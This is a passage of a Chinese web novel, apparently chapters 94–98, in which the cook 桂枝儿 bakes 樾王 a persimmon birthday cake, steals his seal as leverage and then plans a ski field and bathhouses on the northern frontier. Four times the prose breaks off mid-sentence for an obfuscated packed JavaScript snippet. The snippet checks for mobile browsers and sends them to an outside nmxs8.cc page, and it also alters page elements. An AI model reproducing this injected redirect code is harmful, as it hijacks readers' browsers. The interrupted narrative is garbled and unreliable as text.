“望诸生悉心备之。务必熟谙经史子集要义，勤练时政策论。”顶戴乌纱帽的骆县令手抚长须美髯，气度不凡。 他劝慰学子，各自回乡后日夜勤修，勿负光阴。 这话直接说到了众举子的心坎里。 北境，当真是政通人和！ 桂枝儿则玩味地笑了。 骆县令头顶的帽翅轻颤，更衬得他面庞儒雅。 中年男子身姿挺拔，仪形伟丽，举手投足间完全是名门雅士的模样。 若非管家曾与她讲过骆嵩延的过往，谁能想到这是个草包官员呢？ 此刻，骆县令言谈间亲切又不失威严。 在他身后，静静站着两名不起眼的驼衣侍从。他们身形佝偻，微脖颈微前倾，面容隐没在阴影之中。 “樾王好手段。”桂枝儿低声叹道。 扣押一个骆嵩延，其背后做茶叶和私盐生意的江南富户骆家，必然会转投镇北府。 毕竟民不与官斗。 就算骆家不承认自己参与造反，朝廷会信吗？ 谢鸢与栾霜柏并未应答。 二人莫名觉着有些尴尬似的，瞟向地面，耳根微红，仿若能在那砖石缝隙寻得脱身良策。 这般阴私手段，实不该暴露在桂小娘子眼前。 不料，让他们更难堪的是驼衣侍从接下来说的话。 “殿下嘱咐，若几位大人返乡，则诚邀您等前往中心府衙叙旧。”侍从头颅低垂，语气谦逊又恭顺。 “小女便不凑热闹了吧？”桂枝儿挑了挑眉。 少将军与乐府令皆有官职在身，而她一介布衣，无需掺和。 驼衣侍从脸上堆起一个僵硬的笑容。 “千金花魁亦在中心府衙，很是想念桂小娘子。”他的声音从喉咙里挤出来，又尖又细。 驼衣侍从说完，用干瘦如柴的手，轻轻拂了拂衣袖。 桂枝儿面色倏地冷淡下来，眼眸中透出一丝愠怒。 她直直地盯着那侍从，身上柔和温婉的气息消散，取而代之的是拒人于千里之外的冷意。 这是，明晃晃地挟持人质。 真把她当软柿子捏了？ “好。”震怒之后，桂枝儿冷笑一声干脆应下。 许久没打架了，她手有点痒。 答应得爽快，但桂枝儿并不心急，回中心府城头一件事，是带着两个小学徒整饬桂记卤味店的居舍。 秋风起，小店屋顶的瓦片上，长满了厚厚的苔藓。 除此之外，倒算干净整洁，房梁并未布满蜘蛛网，后院亦无杂草丛生，不知平日里是谁在照看。 “小孩儿先去井里打一桶水，再拿笤帚扫扫灰，丫头 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15145686|144601||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 用拭布把桌椅板凳收拾收拾。”桂枝儿分配好任务，撸起袖子就进了后厨。 临走前，她几乎用空间把后厨搬空。 现在还得一一归位，拿起皂角，装作刚刷洗干净锅碗瓢盆的样子。 “好嘞，小娘子放心。”两名学徒毫无心眼地开始忙活。 有了新的家，就意味着漂泊的旅途结束。 他们打心底里有了归属感。 豆芽菜少年搬出一桶清水，水桶边缘挂着一块略显破旧的拭布。 女孩儿默契地接过布，用力拧干，随后便开始认真擦拭，不放过任何一处污渍与灰尘。 木桌椅在二人的努力下，渐渐露出原本温润的色泽，陈旧的漆面也重新焕发光彩。 不同于江南小店雅致的紫藤花瀑布，镇北店铺的风格更加粗犷豪迈。 灶台燃烧，热气腾腾的火墙就架起来了。 向后看，小院的柿子树上，一个个圆润饱满的柿子，似黄澄澄的小灯笼挂在那里，沉甸甸地压弯了枝头。 微风拂过，柿子们你挤我碰，发出喜庆的“沙沙”声。 “高点儿，再高点儿。”马尾辫女孩竖起一个顶端绑网兜的长杆。 少年站在树下，用长钩子钩住柿子的果柄，继而轻轻转动拉扯，让柿子掉落到网兜里。 摘下来的柿子表皮泛着诱人的橙红光泽，圆润饱满。 秋天真好啊。 桂枝儿轻轻掰开柿子，金黄色的果肉如蜜般流淌。 “咚咚咚。”木杵落入石臼，随着她凶狠的撞击，柿子被捣碎成泥状。 桂枝儿唇角缓缓勾起，那抹笑容不似寻常。 她将面粉与柿子泥搅拌均匀，再添一些牛奶，调成面糊。 少女伸出白皙的手，从竹篮里拿起一枚鸡蛋。 手腕轻转，鸡蛋在碗沿轻轻一磕，“咔哒”，蛋清与蛋黄滑入碗中。紧接着，她拿起一根细长的竹筷，动作娴熟地搅拌面糊。 随着手臂上下舞动，竹筷在碗中飞转。 她漆黑的眼眸微眯，神情中透着促狭与不怀好意。 柿子蛋糕，“柿柿”如意的好兆头。 但愿樾王殿下有福消受。 95. 金簪落地 桂小娘子回来了。 消息似长了翅膀般迅速在街巷传开。 卤味店门帘前挤了一群老熟客，张婶脚步匆匆，手里还拎着一篮刚拔出的新鲜萝卜。 “这萝卜可水灵了，小娘子尝尝。”张婶笑声爽朗。 说完，便把菜往桂枝儿怀里塞。 邻里们陆续赶来，有的拉着她话家常，有的帮忙打扫店铺。 几个小孩子在人群中嬉笑穿梭，时不时凑到灶台旁，期待能闻到熟悉的八角、桂皮香味。 好央爹娘摸出几十个铜板，买卤味来解解馋。 桂枝儿一一谢过邻里们。 她今日身着棉麻长裙，腰系褐色织锦腰带，末端坠着一枚小巧的琥珀坠子，轻轻晃动。少女簪一支银杏叶发簪，满是秋意烂漫。 “别乡半载有余，近来可有新奇之事？” 面对她灵动好奇的眼神，众人七嘴八舌地唠了起来。 “小娘子肯定听说了，咱们那宅心仁厚的刘知府，其实是被陷害流落北境的樾王殿下！”张家婶子唾沫横飞。 桂枝儿含笑点头。 “守城的蔡统领谋反，这你便不知了！” 原是那蔡淼一心想谋取经略大将军的职位，可惜事与愿违。 朝廷先是空降了栾小将军作先锋，后又派了德顺公公来掌权，苦心经营化为泡影。 仕途不顺便罢了，甚至连心仪的花魁娘子都不见踪影。 “男人嘛，求女不遂，动辄以为是自身贫且无权之故也。”老秀才文绉绉地说道，“这心思呀，就歪了。” 堂堂大英雄，做起事来竟像小人一样卑鄙。 犹记得承朔三年的寒冬腊月，罪犯沙井田勾连外族，致使凌河县发生一家六口深夜被杀的灭门惨案。 中心府衙的刑房，羁押着那达奴人主犯。 本无权去审案子的蔡淼，利欲熏心，居然私自通过该达奴人，与东北部乞颜乌什部落的游牧劫匪取得联系。 在高官厚禄的引诱下，通敌卖国，背叛大梁。 “奴家也是倒霉，莫名蹚了这一趟浑水。”在扩建后的府衙花园，柳千金为桂枝儿续上了这个故事。 她眨了眨桃花眼，眸中全是久别重逢的喜悦。 花魁娘子一举一动依旧风情万种。 不过那繁杂华丽的罗裙变成了劲装，长长的马鞭挂在腰间，鞭梢尾穗随风摆动，透着勃勃生机。 “话说奴家在楚淮，得小谢公子关照，日子过得倒颇为惬意。”柳千金热络地拉着桂枝儿的手，絮叨着。 她终日穿梭在街衢水畔，一边学戏一边打些零工。 不仅不愁生计，差点还想买间小宅子久居。 “然而前阵子，奴家收到了邀月楼姐妹银铃的信。”柳千金嗓音酥软，“信上说她得好心人搭桥帮忙，得以赎身。” 银铃欲前往楚淮投奔柳千金，并已在县衙文书处办妥了路引。 只是从没出过远门，不大敢单独上路。 柳千金当即决定回来接她启程。 同在勾栏瓦舍，两人以往争夺客官打赏时，未免会拈酸吃醋、冷嘲热讽。 可在柳千金兑换银票脱身时，少不了银铃帮忙。 现今银铃不敢单独上路，只一封信，柳千金也愿意回来接她。 这便是小姐妹间的情谊。 “银铃骗了你？”桂枝儿好奇地问道。 “那倒没有。”柳千金眉梢挑起，贝齿紧咬下唇。 她身后一片秋菊正开得热烈，在风中摇曳生姿，引得蜜蜂、蝴蝶忙碌穿梭，为后花园增添了几分生机。 愈发衬出女子气恼时的绝色容颜。 边防北境第三军的统领，蔡淼，垂涎美色已久。 先前他知道花魁被赎走，勃然大怒，甚至用沙包大的拳头将老鸨揍出两眼乌青，最终停职反省。 如今亦不知何处走漏消息，让他知晓柳千金回了北境。 “这王八蛋诱拐奴家投敌不成，点了奴家的穴，想强行掳走。”柳千金冷笑一声，“把人卷在铺盖里，好似一只被包裹的茧。” 守城军的统领要出城，自然没有不长眼的小兵阻拦。 独有一人例外。 此时小兵丁勇正在城墙根下值岗。 他身着朴素铠甲，面容青涩却透着坚毅，已经从一个新兵蛋子，成长为底层的伍长了。 蔡淼神色凝重，看向他，沉声道：“打开城门，本统领有事要出城去办。” “得令！”丁勇闻言，瞬间身姿笔挺。 他指挥着其他值守小兵，手脚麻利地转动绞盘，伴随“嘎吱”声响，厚重的石门缓缓开启。 与此同时，他注意到蔡统领马背上拴着一个铺盖卷。 外层草席裹得严实，看不出来是什么大物件。 “啪嗒。”突然间，铺盖卷里掉出来一只金簪。 簪首是一只栩栩如生的凤凰，昂首曲颈。 凤凰双目镶嵌湛蓝宝石，双翅舒展，羽尾修长华丽，明显价值不菲。 好眼熟啊。 小兵丁勇思路慢了半拍，有一瞬间怔愣。 在哪里见过呢？< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15185615|144601||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 几乎是下意识，蔡淼迅速滑下马，用靴子重重踩在金簪上，似在掩盖什么秘密。 电光火石之间，小兵丁勇脑海里闪过花魁娘子的模样。 一双桃花眼，一根凤凰欲飞金簪。 除夕夜那晚，他收受银票，私自放了柳千金出城。 银票给牺牲老兵什长家的寡母送去了，那金光闪闪的簪子，他跑遍金店也没找到第二只。 只好给小沿村的杏花姑娘，买了对金耳环。 “长官慢走。”小兵丁勇刻意上前，殷勤地为蔡统领扶住行李。 他计上心头，双手伸向铺盖卷，手指捏住绳结用力一拉，原本系得紧实的绳子在他急切的动作下松开了。 纤腰袅娜的花魁娘子跃然眼前。 她被拴在马背上，双眼瞪得滚圆，透出惊恐与无助。 艳丽的面庞失去血色，樱桃秀口微张，却发不出一丝声响，显得有些狼狈。 “嘶。”离得近的小兵们倒吸一口冷气。 长官私藏女子带出城？ “混账！谁让你乱动的！”蔡淼猛地转头，怒目圆睁。 他脸上的肌肉因愤怒而扭曲，本就心虚，这下更是恼火，干脆一把揪住柳千金纤细的胳膊，将其狠狠扔了出去。 而后狠拍马屁股，马匹负重减轻，一溜烟就跑了。 柳千金如断了线的风筝，在空中划过一道弧，眼看即将重重摔落在城墙上毙命。 “都让开。”面白无须的男子突然出手。 正是代表知府大人前来慰问军士的府衙管家。 他解开了柳千金被封住的穴道。 借花魁娘子之口，蔡统领通敌叛国一事被公之于众，全军哗然。 “精彩。”桂枝儿不咸不淡地拍了拍手。 经此一变，樾王即可光明正大对权力洗牌，掌控军队。 后花园内，亭台楼阁与秋日的花草树木相互映衬，构成了一幅如诗如画的美景。 为两位女子谈心营造出宁静而惬意的氛围。 一系列故事看似巧合，但缺不了人来穿针引线。 这世上哪有那么多恰好。 “奴家也觉着，似乎有哪里不对劲。”柳千金懊悔地叹了口气，“但无凭无据的……” 这种苦恼，在她被变相囚禁在中心府衙后达到顶峰。 名义上是保护她的安全，实际上，恐怕是将她当做要挟桂小娘子的筹码吧。 柳千金纤细的手指绞在一起，又松开，一脸懊悔之色。 她并不想为桂枝儿惹麻烦。 96. 生辰蛋糕 “叨扰二位娘子雅聚，还望恕罪。” 管家不知何时悄然伫立在身后，他躬着腰，狭长双眸中盛满笑意。 “前堂议事已毕，桂小娘子，殿下召您去偏院小叙。” 管家语调轻柔，带着一股无形的压力，让柳千金不由紧张起来。 桂枝儿却不以为然。 听听这话，前堂议的乃是军政大事。 抽空召见她好似是恩赐一般，果然身份变了，一切便不可同日而语。 谁稀罕！ 桂枝儿眼睑低垂，以一种极为淡漠的眼神，自上而下地扫过管家，提着漆盒起身，随他前往偏院。 管家在她的平静注视下，收敛了笑容。 心中却仍有不适感。 作为司礼监曾经的秉笔太监，皇帝陛下面前的红人，富安公公到底是有几分手段的。 在他看来，桂小娘子得樾王殿下赏识，不过是靠些奇技淫巧。 学成文武艺，货与帝王家。 实乃幸事！ 因此在晓谕百姓时，他理所当然将桂枝儿的本领划归为樾王殿下的功绩。 桂小娘子既然自恃清高，那更就应当杀杀她的锐气。 否则她将来如何支撑内闱，襄助主子成就大业？ 时隔半载，府衙偏院里屋的陈设并无变化。 当中摆着楠木抱鼓墩书案，通体平素，案上显眼位置摊开几幅舆图，不同色彩标注了其上山川走势、关隘分布。 背后的榉木书格与雕刻菩提，尚且摆在原位。 舆图旁，一摞奏折堆叠如山。 樾王殿下着一袭玄色锦袍，面料上乘，匠人用金线细密勾勒出蛟龙翻腾之姿，颇具皇家威严。 袍角处，则绣着如意云纹，增添祥瑞之气。 华服几乎将他的身形全然吞没，让人难以窥探。 听得声响，梁樾笔尖一顿，原本专注于舆图的眼眸瞬间抬起。 那双眼，仿若潭水，澄澈却寒凉。 高挺的鼻梁下，嘴唇微抿，冷峻的气息让人不敢轻易靠近。 “许久未见，殿下安好。”桂枝儿率先开口，她不由分说地将漆盒摆到案上，“今日乃殿下生辰，自当食用蛋糕。” 桂枝儿打开盒盖，里面是一个烤制好的柿子味蛋糕，蓬松金黄。 圆润可爱的小柿子底部内凹，顶部果蒂的萼片紧密簇拥。 色泽似被夕阳晕染。 她一来，屋里冰冷的一切仿佛都生动了起来。 那些亲昵的旧时光也冒了出来。 连拒人千里之外的樾王，在瞧见蛋糕时，眼角都闪过一丝不易察觉的怔忪。 “小娘子……如何知晓本王生辰？”梁樾脸上仍笼着一层淡淡的疏离，但声音却如冰雪初融，不自觉柔和了。 当然是系统档案提供的。 桂枝儿已经吃过一次亏，阅读世界背景资料更加仔细。 倘若能用一些小恩小惠，忽悠殿下放松警惕，何乐而不为？ “心有灵犀吧。”桂枝儿目光盈盈。 她答得轻巧，却似隔了一层薄纱，透着几分客套。 “庆祝生辰，惯例是要吃长寿面的。”梁樾面上笑意慵懒，不紧不慢道。 富安公公一早便嘱咐膳房，烹制了一碗龙须面。 佐以鲜浓骨汤，再添上几叶翠嫩青菜与荷包蛋，图个好彩头。 奈何他政务冗繁，那碗寿面未动分毫，想来早已冰凉。 至于吃生辰蛋糕的习俗，闻所未闻。 话虽如此，他还是遵照桂枝儿的指示，在蜡烛点燃后闭上双眸许愿。 一、二、三。 摇曳烛光轻柔拂过，在男子浓密睫毛处，勾勒出一片浅淡阴影。 “生辰吉乐！愿殿下岁岁欢愉、万事胜意。” 他睁开眼，只见桂枝儿露出一排皓齿，眉梢眼角尽是按捺不住的开心。 梁樾尝了一口柿子味蛋糕。 那蛋糕坯细腻绵密，隐约能辨别出蜂蜜与鸡蛋的味道，甜而不腻。 让人心藏欢喜，仿佛将整个秋日的美好都含在口中。 “殿下适才许了什么愿？”桂枝儿歪着脑袋问道。 梁樾身姿笔挺端坐，咽下一小口美食，一抹极淡却难掩的愉悦悄然爬上眉梢。 “今上昏庸无道，致我大梁社稷危在旦夕。本王念及苍生，在镇北举兵起事。” 谈及正事，男子笑意顿隐，神色间满是庄重。 “本王观小娘子聪慧过人，谋略非凡，欲邀小娘子为帐内执要女官共图大业，意下如何？” 此虽为问语，但梁樾语势铿锵，几乎是不容置疑。 “啊……小女忘了提醒殿下，愿望说出来便不灵验了。”桂枝儿状似懊恼，抬手轻拍自己额头。 什么见鬼的执要女官！ 她绝无入仕之可能。 蜡烛已被吹灭，里屋的气氛有些许凝滞。 梁樾冷峻的面庞上不见喜怒，少女则怯生生站在一旁。 四目交汇，片刻又错开，微妙感在二人之间弥漫，敌友难辨。 “笃笃。” 轻叩门扉的声音响起，打断了这场僵持。 管家在进门瞬间弯下了腰，他脚步急促又不失规矩地走到樾王面前，拱手作揖。 “主子，女官安寝之所，已然拾掇停当。” 进王府容易，出去难。 待到每日皆处暗卫监察之下，他不信桂枝儿还能藏匿隐私。 无论她是身负妖术，抑或有高人指点。 一切能助北境成大业的技法，都应为殿下所用。 梁樾听闻此言，沉稳的面庞上闪过一丝不易察觉的诧异。 富安公公甚少自作主张。 但须臾间，他的神情又恢复波澜不惊。 梁樾起身负手而立，并未出言阻止，似乎在等着看管家的意外之举将会引出桂枝儿怎样的反应。 “殿下，吾忽忆一事。”一阵劲风裹挟着身着铠甲的小将军，冒失地闯了进来。 “您封我作经 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15187961|144601||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 略大将军，那朝廷之前派来的……哦对，德顺公公该如何处置？” 他双眸炯炯有神，嗓音洪亮，透着十足的英气。 德顺公公因主张割地求和，已于菜市口受戮就刑。 脑袋曾被挂在城门示众三日。 死透了。 梁樾在心底默默说道。 他有些不耐烦，一个个闯进来，成何体统？ 本就逼仄的房间内，一下子挤入了四人，各怀鬼胎。 桂枝儿稳稳占据视线中央，眼皮都未抬一下，她黛眉紧蹙，双手环于胸前。 似要护住心口，脊背紧绷，是习武者惯用的防备姿态。 “小女禀性放诞，但求成为一名良庖。”桂枝儿慢条斯理，“望殿下开恩。” “小娘子还年轻，不懂这其中好处。”管家开口了，依旧是那副和颜悦色的模样。 边说边轻轻摇头，满是“为你着想”的无奈神情。 “当得女官，出入贵人之侧，若能助王爷登上帝位，必创太平盛世。” 到时候，金银珠宝赏赐不断。 虽说她出身不明，难堪宫妃之位，但一介寡妇能寻一门亲也是天大的喜事了。 “若小娘子不听劝，悍然抗命……” 管家和蔼的神态消失，露出了獠牙。 “哎。”桂枝儿无奈地叹了口气。 面对赤裸裸的威胁，她一贯睚眦必报。 “殿下若执意不放民女，那天子印，当归于杭京朝廷圣上。” 天子印？ 梁樾与管家眼角跳动，视线不约而同汇聚到背后的榉木书格上。 枝叶伸展的雕刻菩提，消失不见。 天子印，暗藏其中。 “你、你！简直荒唐！”管家因情绪激动，嗓音变得尖锐，原本白净的面皮涨得紫红。 见桂枝儿一副死猪不怕开水烫的模样，实在气急。 腌臜泼才，胆大妄为！ 即使没有天子印，照样能调动暗卫，秘库里的财宝也早就转移了位置。 可天子印，最重要的作用是，向朝廷大臣和天下百姓宣告樾王的正统地位。 宣告他是名正言顺被老皇帝钦点的继承人。 “汝何时窃之？”梁樾闭了闭眸。 心中已有答案。 雕刻菩提小而精致，纳入衣袖暗袋中刚刚好。 定是在他许愿的那几秒，当纤细的蜡烛，稳稳插在柿子蛋糕上。 跳跃的火苗时亮时暗，烛芯燃着，发出细微的“噼啪”声，仿佛在低声呢喃着。 “岁岁欢愉、万事胜意。” 一切都是假象。 梁樾心中涌起一股难以言喻的复杂感。 连日被各类军政事务缠身，长期精神紧绷，面对桂枝儿的放肆之举，梁樾指尖微微颤动。 他劈掌变爪，动作迅猛而凌厉，划破凝重的空气径直向桂枝儿出招。 风裹挟着一阵秋雨，拍打在窗，发出沉闷的“砰砰”声，好似战鼓正在擂响。 97. 贴身快打 “殿下何必动怒？”桂枝儿从容招架。 她身形陡然一动，脚步轻移，双手如同折柳，柔软却暗藏劲道。 “噼啪”脆响声后，一触即变招。 陷入贴身快打的局面。 周旋片刻，两人格挡与反击都毫不拖泥带水。 在狭小的书房内带起一阵劲风，吹得案上舆图与奏折纷飞。 见梁樾未占到便宜，护主心切的管家抬手便要协助擒拿。 “富安公公不可，容易误伤殿下。” 栾霜柏双掌推出，截住管家，两人雄浑的内力相互绞缠，一时僵持不下。 此举，分明是在偏袒桂小娘子！ 管家咬牙。 桂枝儿趁机，扯坏了樾王殿下的玄色锦袍。 只听“嘶啦”一声，衣袍前襟被硬生生扯下一大块，金线勾勒的蛟龙残缺不全。 袍角处，如意云纹上也多了一个脚印。 梁樾踉跄着向后退了几步，唇角渗出一丝血来。 牵动了腰腹旧伤，狼狈之态尽显。 想碰瓷？ 桂枝儿疑惑地看了看自己的手，一时语塞。 她仅用了七分内力而已。 然而那丝血迹，并未破坏樾王殿下的俊美，反倒为他增添了几分别样的破碎感。 他薄唇微微张开，急促地喘着气，束发凌乱。 男子蹙眉，倔强的表情惹人怜爱。 “坏事做尽，却实在美丽。” 桂枝儿心中暗道，哪怕明知其凭势弄权，也不忍苛责，反而为自己的虚情假意感到几分歉疚。 但，想拿捏她，没戏！ 天子印的位置，是用贡献点与系统兑换的，雕刻菩提，也被她扔进了空间里。 “殿下，民女并非无理取闹，实有苦衷。”桂枝儿悠哉悠哉地谈判道。 “烹天下至美之膳，此吾志也。” 若放弃主线任务，迷失在小世界的虚假繁华中，才是蠢货。 桂枝儿毫无惧色，挺直脊梁。 要么大路朝天，各走一边，要么她把桌子掀了，谁也别想好过。 “小娘子如此坚定，也罢。”梁樾面色苍白，声线微弱且带着颤音。 在管家搀扶下，他缓缓落座，整个人陷进椅子里。 男子双目微阖，长长的睫毛在眼睑上投下淡淡的阴影。 再睁眼时，眸中已蓄满了雾气。 “适得前线战讯，岭南倭寇大举进犯。”他艰难抬手，却又无力垂落，“杭京朝廷自乱阵脚。” “如今大批能人志士愿归北境，苦于无处安置。” 这些人与流民百姓不同，多是豪强商贾、落魄贵族、失意官员。 他们权衡几方势力，暗中探查北境虚实。 如何招待他们，是个难题。 首先在选址上，凌河县直面东北部乞颜乌什部落的游牧劫匪冲击，不够安全。 中心府城则人多眼杂，不够隐蔽。 而北境其余皆苦寒之地。 其次，怎样将络绎客流转为常驻之民，才是任务的核心。 “小娘子若能襄助成此要事，本王不胜感激。”梁樾以袖轻轻拭去嘴角那抹殷红血迹。 他倚向椅背，薄唇轻颤，仿若随时都会昏厥过去。 “过往种种，一笔勾销。” 老狐狸卖惨，原来是在这儿等着呢。 桂枝儿皱了皱鼻子，轻哼一声。 凭她的本事，即使不遵从樾王旨意，远离北境，也能在这乱世活得潇洒。 但根据经验，离小世界中心人物越近，机会越多。 “成交！” 不就是让那些土豪冤大头们，在北境乐不思江南吗？ 这还不简单。 “咳咳，若需调派人手、支用银钱，尽可吩咐管家。”梁樾得到满意答复，矜持地点点头。 “栾将军勿要久留，速去凌河上任吧。” 省得在这里碍眼。 “末将领命！”见事态平息，栾霜柏双手抱拳，身姿笔挺如松。 铠甲碰撞发出清脆声响，彰显其果敢之态。 杭京朝廷倘欲北伐征讨逆贼，凌河是第一道防线，肩上的担子依旧很重。 桂枝儿瞥了少年一眼。 适才帮她出手阻拦管家，已是冒犯。 她心中领情，但倘若栾霜柏再分不清形式，他这经略大将军恐怕做不长久。 “千金姐姐小女带走了，离开中心府城前，天子印必将物归原主。”桂枝儿转身推开门。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15195973|144601||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 走出一片狼藉的书房，屋外秋雨正急。 扩建后的府衙已有宫殿雏形，灰苍苍的建筑经过重新涂漆，红墙黄瓦愈发鲜明。 飞檐斗拱层叠，屋脊神兽并立，竟有了几分宫殿的巍峨气象。 风卷雨珠，在青砖地面如白浪滔滔。 桂枝儿脚步不停，渐行渐远，身影逐渐没入烟雨中。 一场秋雨一场寒。 回到桂记卤味店后，两个小学徒已经贴心地炖上了山药玉米胡萝卜汤。 驱寒保暖，烟火气抚慰人心。 “阿嚏。” 桂枝儿鼻尖一酸，用布巾擦着湿漉漉的头发，发出响亮的喷嚏声。 真该死，早知道不卖弄潇洒，要把伞再走了。 “小娘子，您说做啥菜咱就学，一定把人留住！”马尾辫女孩将小拳头用力攥紧，举至胸前。 圆润的脸蛋上，双颊因激动泛起红晕。 搁以前，她想都不敢想，能给贵人当厨子。 但经过桂枝儿的调教，她信心十足。 豆芽菜男孩不语，只是黑溜溜的眼珠里，闪烁着期待的光芒。 “没这么简单。”桂枝儿哭笑不得。 她接过男孩递来的碗，里面卧着软糯的山药块、金黄的玉米粒与胡萝卜丁，色泽诱人。 执起匙，舀一勺汤，鲜美的汤汁顺着喉咙滑下，她总算惬意地舒了口气。 “镇北秋短，要不了多久，寒冬就会到来。如果没有诸般娱戏，仅以珍馐难以留人……” 桂枝儿修长手指无意识地在桌面轻敲，陷入思索。 除去中心府城、凌河县以外，仍下辖榆塞关、十二堡、龙沙镇三个区域。 龙沙镇，她曾实地去过，黄沙漫天。 贵客们住进细红柳枝条扎的房子里，一夜就得被冻得哭爹喊娘。 至于游娱方面，也只有穿着皮袄骑骆驼抓沙漠狐了。 桂枝儿挠挠脑后，眼神专注而迷茫。 哪怕是中心府衙最奢华的邀月楼，在贵客们看来，必定也毫不稀奇。 比之京都、楚淮逊色多了。 “冬日的北境，到底有什么嬉乐之术啊？”她诚心发问。 两个小学徒对视一眼，同样不知所措。 98. 齐聚一堂 “滑雪、泡汤，此二者为上选。” 清冷空灵的声音传来，三人扭头，见柳千金携姐妹银铃袅袅婷婷地走进卤味店。 银铃着一袭月白色锦缎长裙，肌肤胜雪，也是个美人胚子。 她擅调香抚琴，离了邀月楼，一时不知有何去处。 走出中心府衙，姑娘们听闻南方战乱，商议不如先投奔桂小娘子，待形势稳定再做打算。 “展开说说。”桂枝儿眼前一亮。 “滑雪以木板为履、木杖为助，只是难免会有遇野兽、雪崩的威胁。”银铃提起裙摆缓缓落座。 除在梅山挖药材、打猎的百姓，偶有技艺高超者愿意体验这风中疾驰的乐趣。 “此项嬉乐，确为我们北境所独有。”柳千金豁然开朗。 普天之下，再无别处有镇北这般悠长的冬季，这样广袤无垠的雪景。 可是伴随的风险也很大…… “好办，咱们新修建一个户外滑雪场就行。”桂枝儿拍板。 即将入冬，雪可就地取材。 选择天然开阔的山坡，清理好石头、树枝等杂物，再将搬运来的积雪在坡面铺平整，便可形成初级雪道。 “先生欲修雪场吗？”清朗的少年音从门外传来。 一群檀郎谢女，手持书卷，脸上洋溢着灿烂的笑容。 他们身着或素雅或明艳的衣裳，摘去发髻上掉落的银杏叶，熟络地踏进桂记卤味店。 与在京城时如出一辙。 “汝等不在家中多作歇息，缘何齐聚中心府城？”桂枝儿扭头，诧异地挑了挑眉。 “吾等诸生赴此，将应樾王殿下科举之试。”王蒲恭敬作答。 果然，谋大事须招揽青年才俊，梁樾绝不会放过现成的好苗子们。 提及办滑雪场，书生们你一言我一语出谋划策。 “可在陡坡底部、弯道处放置一些草堆，以防滑出雪道，引发危险。” “还得有旗帜、木牌等标识，用以指示方向。” “再搭建些木屋怎么样？供客人们休息、取暖或存放行李。” 群策群力之下，修建户外滑雪场方案已有了雏形。 “再说说泡汤的法子！”桂枝儿兴致勃勃。 银铃双手交叠于膝上，清冷之气弥漫周身，但她神色中仍带了一丝矜贵自持。 能帮到桂小娘子的忙，留下来的几率大了几分。 她思索片刻，转头看向柳千金。 “姐姐可曾记得，前任知府马大人，在十二堡还有个小别院？” 知府马碌和幕僚除了敛财以外，深谙生活之趣。 柳千金恍然大悟。 她曾受邀前去唱戏，经过回忆，向众人娓娓道来。 原来北境冬季寒冷漫长，在冰天雪地中，热气腾腾的温泉是一大宝藏。 泡温泉能驱寒，有的郎中甚至还说，温泉蕴含诸般物质，对身体调养大有裨益。 马碌便占了十二堡的芙蓉汤，独自享受。 “其实寻常百姓，也爱在冬日澡浴。”有书生接话道，“虽无汤泉，相互搓澡也是一门手艺。” 众人听闻，先是一怔，随即相互对视。刹那间，心领神会，绽放出愉悦的笑容。 女书生们则嘴角上扬，害羞掩面。 此习俗在北境由来已久。 人们通常将毛巾一层层卷在手上，从头到脚搓澡，手法细腻轻柔，去除所有污垢。 邻里、友朋间常常互相搓背，恰恰体现了北境百姓热情、豪爽的性格。 “可行！”桂枝儿拄着下巴琢磨，“入乡随俗，给贵人们展示一下我镇北的待客之道。” “在入冬前，让十二堡焕然一新！” 说干就干。 归还天子印，启用金库，招揽人手，调用灰白玉岩炼制的水泥……桂枝儿有条不紊地做着前期准备。 十二堡作为镇北的大后方，在百年前有驻扎军士修建堡寨，因此得名。 西出大梁，传闻曾有身材高大、肩宽体壮，眼睛或蓝或绿的野蛮人，前朝为防侵袭特设屯兵。 “俺爷爷的爷爷见过，那野人啊，一脸络腮胡，又浓又密跟杂草似的，头发还是褐黄的色儿。” 十二堡的百姓用手比划出六尺有余的身高。 “后来再没人遇到过，官老爷也把军士们都放到凌河县了。” 